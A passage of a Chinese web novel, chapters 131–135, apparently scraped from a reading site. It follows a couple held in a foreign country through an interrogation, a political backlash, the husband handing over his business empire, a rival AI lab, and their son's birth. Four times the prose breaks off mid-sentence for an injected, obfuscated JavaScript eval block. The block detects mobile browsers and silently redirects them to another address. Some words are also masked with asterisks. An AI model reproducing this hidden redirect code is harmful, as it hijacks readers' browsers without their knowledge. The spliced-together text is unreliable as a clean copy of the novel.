他问一百年前，第一批修铁路的夏裔的工人住在怎样的工棚里。 他问五十年前，唐人街的第一家豆腐店是怎么开起来的。 他问三十年前，夏裔族群是如何在排挤和歧视中，艰难地争取到自己的合法权益。 他的每一个问题，都问得很细、很认真。 仿佛他不是一个过客，而是一个真正关心这个族群命运的自己人。 刘教授不知不觉，打开了话匣子。 他讲着那些，已经被尘封在岁月里的故事。 讲着那些，不为人知的辛酸和荣耀。 讲到动情处，他苍老的眼中泛起了泪光。 不知不含糊，夕阳西下。 陆沉渊起身告辞。 “刘教授，打扰您一下午了。”他深深地鞠了一躬。 刘教授站起身，扶住他。 “不打扰。”他看着陆沉渊，眼神复杂。 “我研究了一辈子历史，接待过无数的记者，学者，官员。” “你是第一个，愿意花一个下午，听我讲这些陈年旧事的人。” 他顿了顿，郑重地说： “陆先生，我知道你和你太太，在这里受了委屈。” “J国的夏裔，虽然人微言轻，但也绝不是一盘散沙。” “如果有什么，需要我们这些老骨头做的，你尽管开口。” “为了我们的孩子，不再经历我们当年的那些苦难。” 听到刘九文的话，他知道自己第三条战线成功开辟。 法律，**，文化。 三条战线，悄然构筑。 一张看不见的网，正在以哥都为中心慢慢铺开。 …… 回到酒店。 陆沉渊看到墨清漓正靠在床上，听着舒缓的音乐。 她的脸上带着恬静的微笑。 他走过去，在她身边坐下。 “累吗？”他柔声问。 “不累。”墨清漓摇摇头，拉过他的手放在自己肚子上。 “宝宝今天很乖，一下都没闹我。” 陆沉渊笑了，他俯下身，轻轻吻了吻她的额头。 “阿渊。” “嗯？” “等孩子出生，我们给他取个小名吧。” “叫什么？” 墨清漓想了想。 “就叫，‘安安’。” “平安的安。” “我希望他，这一生，都能平平安安。” 墨清漓的眼睛，亮晶晶的。 “好。”陆沉渊笑着说。 “安安。” 第131章 裂痕 A国的压力，很快就体现在了现实中。 第二天，J国检方，就发来了正式传票。 要求墨清漓，在四十八小时后，接受一次决定性的质询。 酒店周围的安保力量，也明显加强了。 那些便衣的眼神，不再是监视，而多了一丝看管犯人的冷漠。 空气中，充满了山雨欲来的紧张气息。 楼梦玲察觉到了不对劲，她担忧地看着儿子，轻声问道， “阿渊，是不是出事了？” “妈，没事。”陆沉渊的语气，依旧温和， “一点小麻烦，很快就能解决。” 他越是平静，楼梦玲就越是担心。 墨清漓握住她的手。 “妈，您相信阿渊。”她微笑着说， “这个世界上，没有他解决不了的问题。” 她的镇定，给了楼梦玲一丝安慰。 当晚，J国的主流媒体，风向突变。 各大电视台的晚间新闻，都用极大的篇幅，报道了A国备忘录事件。 新闻的口径，惊人地一致。 都在强调，J国作为一个负责任的大国，有义务维护国际准则。 都在暗示，墨清漓的案子，已经严重影响了J国和A国的盟友关系。 一股强大的**压力，铺天盖地而来。 似乎，要把他们彻底钉死在耻辱柱上。 …… 就在J国执政党，以为可以借此机会，顺水推舟，平息A国怒火的时候。 他们没想到，陆沉渊之前埋下的那些种子，开始以一种他们无法预料的方式破土而出。 第二天一早。 J国发行量最大的传统媒体巨头《J国通讯社》，在头版，刊登了一篇社论。 作者，正是自由党领袖，老皮耶罗。 社论的标题，言辞犀利。 《J国的脊梁，不能为他人弯曲》。 文章里，老皮耶罗质问执政党： “我们的司法，应该服务于J国的法律，还是A国的霸权？” “我们是独立的**国家，还是A国的一个州？” 他用极大的篇幅，赞扬了“活水实验室”对J国农业的贡献，提到了“东方之韵”画展带来的文化交流。 他最后写道： “一个懂得用善意和尊重，来对待我们的朋友，我们却要将他逼成敌人。” “一个用霸凌和威胁，来对待我们的盟主，我们却要对他卑躬屈膝。” “这不是**，这是耻辱。” 这篇文章像一颗**，在J国政坛引发了剧烈的地震。 紧接着，哥都大学的刘九文教授，联合了数十位J国文化界的夏裔名流，公开发表了一封联名信。 信中，他们没有提案件。 只是回顾了夏裔族群，在J国百年的奋斗史，以及他们为这个国家做出的巨大贡献。 信的结尾，只有一句话。 “我们热爱这片土地，我们不希望，看到它因为怯懦而蒙羞。” 一时间，J国社会，**哗然。 支持政府的声音，和质疑政府的声音，第一次在公开场合形成了激烈的对撞。 J国的政坛，出现了前所未有的公开的裂痕。 执政党内部，也开始出现了不同的声音。 一些务实的，中间派的议员开始动摇。 他们意识到，如果强行牺牲陆沉渊夫妇，来讨好A国。 他们要付出的，可能是国内社会**的巨大代价。 一场原本针对陆沉渊和墨清漓的围剿，演变成了一场关于J国国格与未来的全民大辩论。 …… 质询当天。 皇家大酒店外，**了大量的媒体记者。 还有许多自发前来的，J国民众。 他们举着标语。 有的写着：“司法独立，不容干涉。” 有的写着：“欢迎善意的投资者，唾弃傲慢的霸凌者。” 陆沉渊牵着墨清漓的手，走出酒店大门。 他穿着一身深色的西装，身姿挺拔，面容冷峻。 墨清漓穿着一件宽松的米色风衣，腹部微微隆起，脸上带着恬淡的，从容的微笑。 闪光灯，像暴雨一样倾泻而下。 两人没有躲闪，也没有丝毫畏惧。 他们平静地，穿过人群，走上那辆属于检方的黑色轿车。 仿佛不是去接受一场决定命运的审判。 而是去赴一场，早就预料到的约会。 …… 质询室里，气氛冰冷。 首席检察官的脸色阴沉。 “墨女士，我们有新的证据，证明你的公司，通过不正当手段，窃取了A国企业的核心技术。” 他说着，将一叠文件推到墨清漓面前。 墨清漓没有看。 她只是平静地，看着对方的眼睛。 “检察官先生。”她说， “我的律师团队，已经向你们提交了超过五千页的资料，足以证明，我们的每一项技术，都来自于自主研发。” “你们视而不见。” “现在，你们又拿出一份，由我的竞争对手，单方面提供的，所谓的‘证据’。” “恕我直言。”墨清漓的嘴角，勾起一抹淡淡的，嘲讽的弧度。 “这不叫质询，这叫构陷。” 首席检察官的脸色，瞬间变得铁青。 他没想到，这个看起来温和的女人，言辞会如此犀利。 接下来的两个小时。 无论检方抛出怎样刁钻的问题，设置怎样恶毒的陷阱。 墨清漓都应付得滴水不漏，不疾不徐，条理清晰。 她的身后，芦谨麟律师带领的团队，更是如同一堵无法逾越的法律之墙。 陆沉渊始终坐在她身边。 他一言不发。 但他沉静的目光，就是墨清漓最强大的后盾。 最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348577|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终，首席检察官无计可施，只能草草宣布质询结束。 结果，是“择日再审”。 这是一个信号。 J国的司法天平，在巨大的外部压力和内部反弹之间，陷入了艰难的摇摆。 陆沉渊和墨清漓，赢得了宝贵的时间。 …… 回到酒店，已是黄昏。 夕阳的余晖，将哥都的天际线，染成一片瑰丽的金色。 陆沉渊和墨清漓，来到顶层的露台。 秋日的晚风，带着一丝凉意。 陆沉渊取来一条柔软的羊绒毛毯，轻轻地披在墨清漓的肩上。 两人并肩坐在藤椅上，看着远处的万家灯火，一点点亮起。 世界在他们脚下，风起云涌。 J国的电视台里，名嘴们还在为白天的事件争论不休。 A国的政客，或许正在暴跳如雷。 而他们，却像风暴眼中最宁静的两个点。 “阿渊。”墨清漓靠在他的肩上，轻声说。 “嗯？” “刚才在车上，我看到一个女孩，举着一张画。” “画上，是一个水井，旁边站着一个微笑的，夏国医生。” “画的下面，写着一行字：‘善意，应该被善待’。” 陆沉渊的眼中，闪过一丝温柔。 “我看到了。” “你说，”墨清漓仰起头，看着他， “我们做的这一切，真的能改变什么吗？” 陆沉渊没有立刻回答。 他伸出手，轻轻地覆在她的小腹上。 “清漓，我们改变不了整个世界。” 他温和说道， “但我们可以，为我们的孩子，守护一个公道尚存的世界。” “我们可以，为他种下一棵树。当他长大后，这棵树，能为他遮挡一些，不必要的风雨。” “这就够了。” 墨清漓笑了。 是啊，这就够了。 她将头更深地埋进他的怀里。 感受着他的心跳，和他掌心传来的温暖。 “阿渊，我们给‘安安’的房间，刷成什么颜色好？”她忽然问。 “嗯……淡蓝色怎么样？像天空一样。” “不好，太冷了。我觉得，米白色更好，温暖一点。” “嗯，米白色好。墙壁是这个颜色，再配一套原木色的婴儿床和柜子，地上铺一张软软的毯子，安安一定会喜欢。” “那婴儿床呢？要买J国这边的，还是等回国再买？” “都行，我们各买一套对比一下……” …… 他们聊着这些，最平凡，最琐碎的小事。 仿佛，撬动这个世界的并不是他们。 他们只是，一对即将迎来新生命的、普通的父母。 露台上的枫叶，又落下了一片。 在他们脚下，打着旋。 风暴，还未平息。 但他们的世界里，一派安然。 第132章 不想当你的弟弟 这个世界的更替速度，远远超过人们的想象。 J国的风波，在国际新闻的版面上，停留了不到三天，便被其它的消息所取代。 世界似乎已经淡忘了，那对曾被困在哥都的夏国夫妇。 但有些人，没有忘。 秦氏集团，总裁办公室。 秦雅站在巨大的电子屏前，屏幕上，密密麻麻地罗列着近半年来，渊龙科技、汗青科技，乃至“远方”基金会的所有公开动向。 从J国的“活水实验室”，到非洲的水井。 从A国流媒体平台爆火的纪录片，到哥都那场小而精的“东方之韵”画展。 每一条信息，都像一颗独立的棋子。 过去，秦雅只觉得这些是陆沉渊的小动作，是骚扰，是防御。 直到J国政坛，因为一篇社论和一封联名信而公开**。 直到陆沉渊毫发无伤地，带着墨清漓，赢得了宝贵的时间和**。 秦雅才将这些散落的棋子，全部串联起来。 她终于看懂了。 陆沉渊从一开始，就没打算在对方设定的棋盘上，进行对等的攻防。 他在做的，是“非对称作战”。 A国挥舞的是霸权的大棒，是刚性的力量。 而陆沉渊，则是在世界的各个角落，播撒善意，输出文化，建立柔软的情感的连接。 他不用拳头去对抗拳头。 他用无数根看不见的丝线，去缠绕那柄挥舞的铁锤，让它每一次落下，都变得迟滞都不得不顾忌更多。 “疯子。” 秦雅低声骂了一句，嘴角却不受控制地，向上扬起。 这是一种棋逢对手的兴奋。 她一直想赢过陆沉渊，赢过墨清漓。 但她发现，自己和他，根本不在同一个维度上竞争。 陆沉渊想构建的，是一个生态。 而她，还停留在抢夺地盘的层面。 “雅姐姐。” 皇甫城逝推门进来，打断了她的思绪。 他今天穿了一身挺括的灰色西装，居然也是仪表堂堂，再也不是那个跟在她身后的小屁孩。 “‘锋芒’的最新一轮测试，数据出来了。”他将一份报告，递到秦雅面前， “商业化版本的核心指标，已经追平了‘开天’的上一代模型。” 秦雅接过报告，快速浏览着。 她的脸上，露出了满意的神色。 “干得不错。” “为了庆祝这次成功，也为了感谢雅姐姐你这段时间，不计成本的资源投入。”皇甫城逝看着她，眼神明亮， “今晚，能赏脸一起吃个饭吗？” 他用的是“赏脸”，姿态放得很低。 但他的眼神里，却有一种不容拒绝的自信。 秦雅看了他一眼，笑了。 “好啊。” 晚餐的地点，在一家私密的法餐厅。 皇甫城逝表现得无可挑剔。 从选酒，到与侍者的沟通，再到对每一道菜的讲解，都优雅得体。 他不再是那个需要她照顾的弟弟。 而是一个可以和她平等对话的男人。 “雅姐姐，”切着牛排，皇甫城逝状似不经意地开口， “我打算，把‘锋芒’独立出来，成立一家新公司。” 秦雅的动作，停顿了一下。 “哦？” “人工智能的未来，绝不只是一个辅助系统。”皇甫城逝的眼中，闪烁着野心的光芒， “它会是下一个时代的，操作系统。谁掌握了最强的底层模型，谁就掌握了未来。” “‘开天’走得太快了。但他们，也有弱点。” “陆沉渊把陆若溪保护得太好，让她可以心无旁骛地，在**塔里做研究。但这也意味着，‘开天’对市场的反应，会很慢。” “而我，不一样。”皇甫城逝放下刀叉，认真地看着秦雅， “我要让‘锋芒’，成为市场上最懂用户的，那把尖刀。” 秦雅静静地听着。 她看着眼前这个，她从小看到大的弟弟。 她发现，他真的长大了。 他的身上，有了一种她熟悉的、也欣赏的侵略性。 “所以，”秦雅喝了口红酒，淡淡地问，“你想从我这里，得到什么？” “我什么都不要。”皇甫城逝笑了， “秦氏对‘锋芒’的投入，我会按照最高溢价，折算成股份还给你。我只是，通知你一声。” 他顿了顿，身体微微前倾，凝视着秦雅的眼睛。 “雅姐姐，我以前，一直跟在你身后，是因为你比我强。” “现在，我已经可以和你并肩了。” “所以，我不想再只当你的弟弟。” 餐厅里流淌着舒缓的音乐。 皇甫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348578|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城逝的告白，直接，坦率，带着一种小狼狗式的不容退避的凶悍。 秦雅看着他，看着他那张年轻，英俊，又写满了偏执和占有的脸。 她忽然觉得，很有趣。 她嫣然一笑，红唇轻启。 “你可以试试。” …… 渊龙科技，人工智能实验室。 与外界想象中的剑拔**张不同，这里的气氛，安静而有序。 每个人都在自己的工位上，专注地思索，或安静地做着自己的事。 空气中，没有焦虑，只有一种高度协同下的宁静的张力。 陆若溪提出的“自进化”架构，早已不是一个停留在白板上的疯狂构想。 在过去几个月里，它已经成为整个团队唯一的共同的信仰。 他们拆解了“开天”的底层代码，像搭建一座全新的城市一样，一个模块一个模块地，重新构建。 苏阳，作为陆若溪最默契的搭档，承担了最繁重的工程实现工作。 他带领团队，将陆若溪那些天马行空的数学模型，转化为一行行坚实、可靠的代码。 今天，是新一代“开天”模型，完成自我迭代闭环后，第一次进行完整的性能测试。 实验室中央的大屏幕上，数据流平稳地运行着。 没有惊心动魄的场面。 只有代表着运算效率、模型复杂度和能耗比的几项核心指标，在以一种冷静而残酷的方式，不断向上跳动。 “能耗比，稳定在阈值以下。” “模型复杂度，提升了两个数量级。” “逻辑自洽性，百分之百。” 苏阳的声音沉稳，却难掩一丝颤抖。 所有人都停下了手中的工作，站起身，望向大屏幕。 他们都知道，这些枯燥的数据，意味着什么。 他们用有限的算力，撬动了无限的可能。 陆若溪一直站在控制台前，一言不发。 直到最后一项测试跑完。 屏幕上弹出了最终的测试报告。 一个绿色的，代表“通过”的巨大图标，占据了屏幕中央。 实验室里，先是极致的安静。 随即，爆发出压抑已久的，低低的欢呼声。 “若溪……”苏阳转过头，看着她，眼中是无尽的感慨和敬佩。 陆若溪的脸上，也终于露出了一丝笑容。 第133章 新的开始 就在“开天”悄然完成蜕变的同时。 陆沉渊，亲手拆解了他缔造的帝国。 一则来自渊龙科技的公告，毫无预兆地引爆了全球。 公告内容，简单，却石破天惊： 渊龙科技创始人陆沉渊先生，将其个人及家族持有的，全部渊龙科技股份，转入一个新成立的，由公司全体核心员工共同持股的信托委员会。 自即日起，陆沉渊先生将不再担任渊龙科技任何实质性的职务，仅保留董事会席位，未来将以“首席战略顾问”的虚职，专注于长期战略研究。 渊龙科技，将成为一家没有实际控制人，由委员会和董事会共同管理的公众公司。 紧接着，汗青科技，连山科技，也相继发布公告。 宣布完成管理层收购（MBO），正式成为完全独立运营的公司。 至此，那个庞大、神秘，让整个世界都为之侧目的“渊龙系”，在一夜之间分崩离析。 或者说，完成了它最后的进化。 陆沉渊，这个名字，从一个商业帝国的缔造者，变成了一个纯粹的精神领袖。 他亲手，将自己打下的江山，变成了一片人人都可以来耕种的肥沃的土地。 他把它，变成了一项“公共设施”。 这个消息，让所有试图分析他，模仿他，甚至对抗他的人，都陷入了深深的迷茫。 他们看不懂，他们无法理解，一个人，为什么要放弃如此巨大的财富和权力。 只有少数人，比如秦雅，隐约猜到了陆沉渊的真实意图。 他不是在退却。 他是在用一种最彻底的方式，为夏国的科技产业，构建一道最坚固的防火墙。 一个没有具体敌人，没有攻击靶心的产业联盟，才是最无法被摧毁的。 …… 外界的风云变幻，似乎丝毫没有影响到，皇家大酒店顶层的那间套房。 墨清漓的肚子，一天比一天明显。 她依然会每天花两个小时，处理墨氏集团最核心的事务。 她的指令，依旧精准，锐利。 但更多的时候，她的身上，散发着一种即将为人母的柔和光芒。 她发现，自己越来越能，坦然地面对“失衡”。 有时候，一场紧急的跨国会议，会打乱她的作息。 她会感到疲惫，烦躁。 但每当这时，陆沉渊总会像一个最精准的“平衡器”，恰到好处地出现。 他不会说“别做了，休息吧”这种话。 他只会在她结束会议后，端来一碗温热的汤。 或者，在她揉着眉心时，悄无声息地在她身后为她轻轻按摩太阳穴。 墨清漓结束了和墨氏北美分公司的视频会议，长长地呼出一口气，身体靠在柔软的椅背上，下意识地轻轻捶了捶自己有些酸胀的后腰。 一直等在旁边的陆沉渊，无声地走过来，将一个温热的靠垫塞到她腰后。 “又踢你了？”他轻声问，手掌隔着薄薄的衣料，覆在她隆起的小腹上。 “没有，”墨清漓摇摇头，握住他的手，脸上带着一丝无奈的笑意， “是他在提醒我，该休息了。” 陆沉渊没再多说，只是拉着她站起身，扶她到窗边的沙发坐下。 他半跪在她身前，将她微微浮肿的小腿抬起，搁在自己的膝上，力道适中地为她轻轻按捏起来。 温热的掌心，恰到好处的力道，瞬间舒缓了她身体的疲惫。 墨清漓看着他专注的侧脸，心底最柔软的地方被轻轻触动。 他从不干涉她的工作，却总能抚平她工作带来的所有褶皱。 等按摩完，他又开始摆弄屋里的一点一滴，力求让她赏心悦目。 墨清漓常常会想。 都说自己，在努力地平衡着事业和生活。 但其实，真正的平衡点，是身边这个男人。 每当想到这里，她就忍不住想抱抱他。 就像此刻。 她身体的疲惫刚刚缓解，一抬眼，却看到陆沉渊正站在窗边的上，摆弄着一堆花枝。 夕阳的光，透过窗户，洒在他专注的侧脸上。 他一个叱咤风云的男人，此刻，正在思考哪一枝先插入花瓶。 那副认真的样子，有一种奇异的，反差萌。 墨清漓心头所有的烦躁，瞬间烟消云散。 她走过去，从他身后，轻轻地环住他的脖子。 “我来吧。”她笑着说。 陆沉渊微微一笑，让出了位置。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348579|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨清漓拿起剪刀，开始修剪花枝。 她的动作，娴熟而优雅。 一枝，一叶，在她手中，仿佛都有了生命。 陆沉渊就在一旁，安静地看着。 不打扰，只是陪伴。 “阿渊。”墨清漓一边插花，一边轻声问，“渊龙的事？” “嗯。” “把一切都放手，不后悔吗？” 陆沉渊笑了笑。 他伸出手，轻轻覆在她的手背上。 “我从来没想过，要拥有它。” 他温和地说道， “我只是，想把它建起来。” “就像我们现在做的。我负责把花买回来，而你，负责让它们，开出最美的样子。” “至于这盆花，最后是摆在客厅，还是送给朋友，都不重要。” “重要的是，我们一起，创造了这份美。” 墨清漓停下手中的动作，转过头，看着他。 这个男人，总能用最简单的比喻，说出最深刻的哲学。 他的世界里，没有“得失”，只有“创造”和“建设”。 她看着他，看着他眼中那片永远宁静的海。 忽然觉得，自己肚子里的这个小生命，是何其幸运。 他将会拥有一个，如此了不起的父亲。 她放下花，靠在他的肩上。 “阿渊。” “嗯？” “等安安出生，你教他下棋，我教他写字，好不好？” “好。” “等他再大一点，我们带他去旅行。去非洲看动物迁徙，去北极看极光。” “好。” “如果他不喜欢这些，只想当个厨师，或者木匠，怎么办？” 陆沉渊低下头，在她隆起的小腹上，印下轻轻一吻。 “那我就要努力，成为他第一个，也是最忠实的，客人。” 墨清漓笑了。 夕阳的余晖，将两人的身影，拉得很长，很长。 窗外，世界正在因他们，而剧烈地，改变着。 而窗内，只有寻常夫妻的油盐酱醋，和对未来的无限期许。 仿佛，他们所做的一切，最终的落点，不过是为了守护这一刻的岁月安然。 第134章 新生 哥都的秋，终于走到了尽头。 第一场雪，来得悄无声息。 细碎的雪花，落在顶层露台那些已经凋零的枫树枝头，很快就积了薄薄一层。 世界，仿佛被按下了静音键。 这份宁静，被一个人的到来注入了新的暖意。 墨清漓的母亲，林书函到了。 林书函的到来，让这个华丽的“牢笼”，更加像一个普通的家。 林书函和楼梦玲这两个母亲之间，有一种奇妙的默契。 她们会一起，坐在洒满阳光的客厅里，一个织着小小的婴儿毛衣，一个修剪着新送来的插花。 她们聊的话题，也从不涉及外面的风雨。 只是聊着，清漓小时候有多倔强，阿渊小时候有多沉默。 聊着江南的梅雨，和京州的飞雪。 陆沉渊和墨清漓，很多时候，就只是安静地坐在一旁听着。 时光，仿佛在这里，流淌得特别缓慢。 然而，外部世界的角力，从未停歇。 陆沉渊亲手瓦解“渊龙系”的举动，在国际上引发了剧烈的余震。 他这步棋，超出了所有人的预料。 A国那些挥舞着制裁大棒的政客，忽然发现，他们失去了一个最明确的靶子。 渊龙，汗青，连山…… 它们不再属于陆沉渊个人，而属于一个庞大的，由核心员工组成的利益共同体。 攻击其中任何一个，都等于是在和一群夏国最顶尖的头脑为敌。 更重要的是，陆沉渊通过“非对称作战”播下的那些种子，正在世界各地悄然生长。 从F洲的水井，到E洲的画展。 从“开天”开源的试用模型，到出人意料的“新能源产业联盟”。 夏国的科技与资本，不再是一个由陆沉渊发号施令的帝国。 它变成了一片，正在自我繁衍的雨林。 物种丰富，盘根错节，充满了生命力。 A国发现，他们面对的，不再是一棵可以轻易砍伐的大树。 而是一整片，气候和土壤都在改变的生态系统。 这场博弈的天平，在悄无声息地发生着倾斜。 J国当局，最先感受到了这种变化。 他们原本以为，扣留墨清漓，就能拿捏住陆沉渊的七寸。 他们以为，自己是这场大国博弈中，最重要的那个棋子。 但现在，他们尴尬地发现。 棋手，好像已经不怎么看棋盘了。 陆沉渊在哥都，过得悠闲自在。 每天陪着怀孕的妻子，散步，看书，听音乐。 他甚至还让人，在另一个套房里，临时搭建了一个小小的木工房。 他买来最好的木料，戴上护目镜，笨拙地，学习着给未出世的孩子，做一张小小的摇篮。 他完全没有，一个“人质”家属的焦虑和愤怒。 这种极致的平静，反而让J国方面，感到了巨大的压力。 他们意识到，陆沉渊根本没把希望，寄托在他们的“仁慈”上。 他在等。 等国际局势的变化，等夏国产业的成长，等那片他亲手种下的雨林，形成足以改变气候的力量。 时间，并不站在J国这一边。 这天下午，李文博大使再次到访。 他的脸上，多了一丝轻松。 “陆先生，情况正在起变化。”他坐在书房里，递给陆沉渊一份简报。 “E洲那边，几家最大的汽车制造商，联合向A国提出了**。” “他们认为，限制‘天枢’系统，会严重损害E洲汽车产业的智能化进程，让他们在和夏国车企的竞争中，处于不利地位。” “另外，你之前在J国布局的那些‘小善意’，也开始结果了。” “‘活水实验室’的新一代水稻，在J国北部试种成功，亩产提高了百分之十五。J国的农业协会，正在向政府**，希望扩大合作。” 李文博看着陆沉渊，眼神里是掩饰不住的钦佩。 这个年轻人，搅动了世界风云之后，竟然真的就关起门来，过起了自己的小日子。 而世界，却在按照他写好的剧本，一步步地向前演进。 陆沉渊只是平静地听着，点了点头。 “知道了。” 他的反应，平淡得仿佛这一切都与他无关。 他更关心的，是另一件事。 “李大使，哥都最好的妇产医院，联系得怎么样了？” 李文博愣了一下，随即苦笑着摇了摇头。 他见过无数运筹帷幄的将帅，但从未见过，在决战前夜，一心只想着给孩子准备产房的。 “你放心。”李文博收起文件，认真地回答， “已经安排好了。皇家中心医院，最好的团队，二十四小时待命。” “好。”陆沉渊的脸上，终于露出了一丝笑意。 …… 随着预产期的临近，套房里的气氛，变得既紧张，又充满了期待。 陆沉渊停下了他所有的“爱好”。 他不再去木工房里敲敲打打，也不再看任何商业和科技的新闻。 他所有的时间，都用来陪伴墨清漓。 他给她念诗。 不是那些深奥的，需要费心解读的诗篇。 就是最简单的，童谣。 “春眠不觉晓，处处闻啼鸟。” 他低沉的嗓音，在安静的房间里回响。 墨清漓靠在他的怀里，手轻轻地放在隆起的小腹上。 她能感觉到，肚子里的小家伙，似乎也在安静地听着。 有时候，墨清漓会看着陆沉渊的侧脸，看得出神。 她会想，如果没有这场意外，没有这次变相的“囚禁”。 他们之间，会是怎样的光景？ 或许，他们依然是并肩作战的盟友。 是彼此欣赏的，两个独立个体。 但他们，可能永远都不会有这样一段，完全剥离了外界身份，只属于彼此的慢时光。 他们不会有机会，像现在这样，看着对方，笨拙地，为一个新生命的到来而手忙脚乱。 “阿渊。”她轻声开口。 “嗯？” “等我们回去了，你做的那个摇篮，一定要带上。” “太丑了。”陆沉渊有些不好意思，“边角都没磨平。” “不丑。”墨清漓摇了摇头，笑了，“那是安安的第一件礼物。” 陆沉渊低下头，轻轻吻了吻她的额头。 “好。” …… 大雪，又下了一夜。 哥都，被一片纯白覆盖。 清晨，墨清漓在睡梦中，感到了腹部一阵轻微的规律性的收缩。 她睁开眼。 没有慌张。 只是平静地，推了推身边，睡得正沉的陆沉渊。 “阿渊，好像，要来了。” 陆沉渊瞬间惊醒。 前一秒还沉浸在睡梦中的男人，下一秒，眼神已经恢复了绝对的清明和冷静。 他看了一眼时间，记录下阵痛的频率。 然后，不疾不徐地，按下了床头的紧急呼叫铃。 一切， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348580|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有条不紊地进行着。 仿佛，他们已经为了这一刻，演练了千百遍。 皇家中心医院。 顶层的VIP产房，早就清空。 走廊里，站满了神情肃穆的安保人员。 林书函和楼梦玲，紧张地守在产房外，不停地祈祷。 她们两个，一个是在商海中见惯风浪的豪门主母，一个是经历了人生剧变的坚强女性。 但此刻，她们都变回了最普通的，为女儿担忧的母亲。 陆沉渊没有在外面等。 他换上无菌服，陪着墨清漓，一起进了产房。 他握着她的手，什么都没说。 但他的眼神，他的体温，他手掌传来的，稳定而强大的力量，就是最好的镇定剂。 墨清漓看着他。 看着他额角，因为紧张而渗出的，细密的汗珠。 看着他那双，面对世界霸权都未曾有过丝毫波动的眼睛里，此刻，写满了只属于她的心疼和担忧。 她忽然觉得，腹部的疼痛，似乎都减轻了许多。 她朝他虚弱地，笑了笑。 “别怕。”她说，“我可是，墨清漓。” 是啊。 她是墨清漓。 是那个，无论面对何种困境，都从不言败的墨清漓。 他给了她一个微笑。 “我知道。” 时间，一分一秒地过去。 对于产房外的所有人来说，每一秒都是煎熬。 终于，一声清脆响亮的啼哭，划破了清晨的宁静。 像一道光，刺破了所有的阴霾和等待。 男孩。 七斤六两，母子平安。 当护士把那个皱巴巴的，红彤彤的小家伙，抱到陆沉渊面前时。 这个男人，第一次体会到了什么叫手足无措。 他小心翼翼地，伸出手，想要触碰一下，又怕惊扰到他。 他看着那个小小的，紧闭着眼睛的生命。 那是他的血脉，是他和清漓爱情的延续。 是他们在这场，看不见硝烟的战争中，迎来的最盛大、最珍贵的胜利。 他走抱着孩子，俯下身，看着脸色苍白，却满眼笑意的墨清漓。 千言万语，都化作了，最简单的一句话。 “清漓，辛苦了。” 墨清漓摇了摇头，眼泪顺着眼角滑落。 “给他，取个名字吧。” 陆沉渊直起身轻声说道， “就叫，陆时安。” “生于斯时，安然归家。” 墨清漓念着这个名字，泪水再次模糊了双眼。 时安。 陆时安。 …… 孩子的降生，像一个强大的信号。 迅速地，传遍了J国政坛的每一个角落。 当J国总理，在他的办公室里，看到这份关于“陆时安”这个名字的特别报告时。 他沉默了很久。 他知道，陆沉渊在用这种方式告诉他。 这场以时间为赌注的对峙，结束了。 一个新生命的诞生，代表着全新的开始。 他，等得起。 但J国，这个在夹缝中求生的国家，已经等不起了。 这位总理，缓缓站起身，走到窗前。 看着远处，被白雪覆盖的，宁静的城市。 他拿起桌上的红色电话，拨通了一个号码。 “准备一下。” 他对着话筒，用一种疲惫却不容置疑的语气说道。 “我们可以，谈谈了。” 第135章 昔日盟友 陆时安的到来，让顶层的套房，变成了世界上最柔软的地方。 窗外，是哥都的风雪。 窗内，是恒久的春天。 陆沉渊的人生，开始进入另一个节奏。 曾经，他的时间以季度、月、周为单位，被各种会议、报告和战略规划填满。 现在，他的时间单位，变成了四小时一次的喂奶，两小时一次的换尿布，和无数次、毫无缘由的凝视。 他学着抱孩子。 他高大的身躯，因为怀里那个小小的、软软的生命，而显得有些滑稽。 但他学得很快，很认真。 从一开始的手足无措，到几天后的有条不紊。 墨清漓靠在床上，静静地看着。 她看着这个男人，笨拙地给孩子换上小衣服，动作轻柔，生怕弄疼了小家伙。 看着他低声地，对着那个还听不懂话的婴儿，说着不成逻辑的呓语。 她的心里，被一种前所未有的，名为“幸福”的情绪填得满满当当。 楼梦玲和林书函两个母亲，彻底接管了后勤。 